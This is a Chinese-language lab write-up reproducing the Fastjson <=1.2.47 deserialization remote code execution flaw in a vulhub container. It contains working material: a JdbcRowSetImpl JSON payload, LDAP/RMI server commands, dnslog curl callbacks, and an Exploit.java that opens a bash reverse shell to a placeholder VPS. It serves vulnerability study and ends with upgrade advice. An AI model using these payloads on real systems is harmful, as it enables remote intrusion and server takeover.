【漏洞復現】Fastjson <=1.2.47遠程命令執行


 

0x01 漏洞概述

漏洞描述

Fastjson是一款開源JSON解析庫,它可以解析JSON格式的字符串,支持將Java Bean序列化為JSON字符串,也可以從JSON字符串反序列化到JavaBean。
Fastjson存在遠程代碼執行漏洞,當應用或系統使用 Fastjson 對由用戶可控的 JSON 字符串數據進行解析時,將可能導致遠程代碼執行的危害。
此漏洞為 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且無需依賴 autotype 的開啟,這意味着默認配置下的 Fastjson 即會受到漏洞影響。

影響版本

Fastjson <= 1.2.47
 

0x02 環境准備

直接使用vulhub中的docker環境進行部署
cd /vulhub/fastjson/1.2.47-rce
docker-compose up -d
 
部署好后訪問 http://ip:8090,訪問顯示如下即搭建成功

0x03 測試及利用方法

測試方法

方法一:使用工具FastjsonScanner(內置多個payload)

工具下載地址:前往土司下載
如下圖所示,填寫待測試目標url、dnslog地址、請求包,點擊scan
結束后,對比scan result和dnslog記錄。Dnslog中有test6記錄,說明存在漏洞,序號為6的payload可用。

方法二:使用工具fastjson_rce_tool.jar

工具下載地址:https://github.com/wyzxxz/fastjson_rce_tool

公網啟動LDAP或者RMI服務

 
Usage:
RMI: java -cp fastjson_tool.jar fastjson.HRMIServer your_vps_ip 80 "curl  xx.dnslog.cn"
LDAP: java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "curl  xx.dnslog.cn"
 
關於command列的使用參考下圖:
LDAP如下:
VPS中開啟LDAP服務,並預執行命令curl xxx.dnslog.cn
 
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "curl xx.dnslog.cn"
 
將payload復制到body中並發送
VPS中顯示有連接信息並發送完命令
Dnslog查看到記錄,說明命令執行成功

利用方法

方法一:使用fastjson_rce_tool.jar

開啟LDAP服務監聽,並設置預執行命令(反彈shell)
 
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip 80 "bash=/bin/bash -i  >& /dev/tcp/your_vps_ip/4444 0>&1"
 
Burp發送exp
成功反彈shell
 
備注:RMI同理。把LDAP替換為RMI即可(筆者使用rmi不能穩定復現)

方法二:使用marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java

下載地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
Exploit.java代碼如下(反彈shell)
public class Exploit{
    public Exploit() {}
 
 
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "/bin/bash -i >& /dev/tcp/your_vps_ip/4444 0>&1"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
 
    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}
javac將Exploit.java編譯為Exploit.class文件(注意:javac版本最好與目標服務器接近,否則目標服務器無法解析class文件,會報錯)
Python開啟web服務器,將exploit.class放在根目錄
marshalsec-0.0.3-SNAPSHOT-all.jar開啟LDAP並轉發至web服務器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  http://your_vps_ip/#Exploit 9999
 
Burp發送exp
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_vps_ip:9999/Exploit","autoCommit":true}}
 
成功反彈shell
 
備注:RMI同理。把LDAP替換為RMI即可(筆者使用rmi不能穩定復現)

0x04 修復建議

使用最新版fastjson, https://github.com/alibaba/fastjson
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM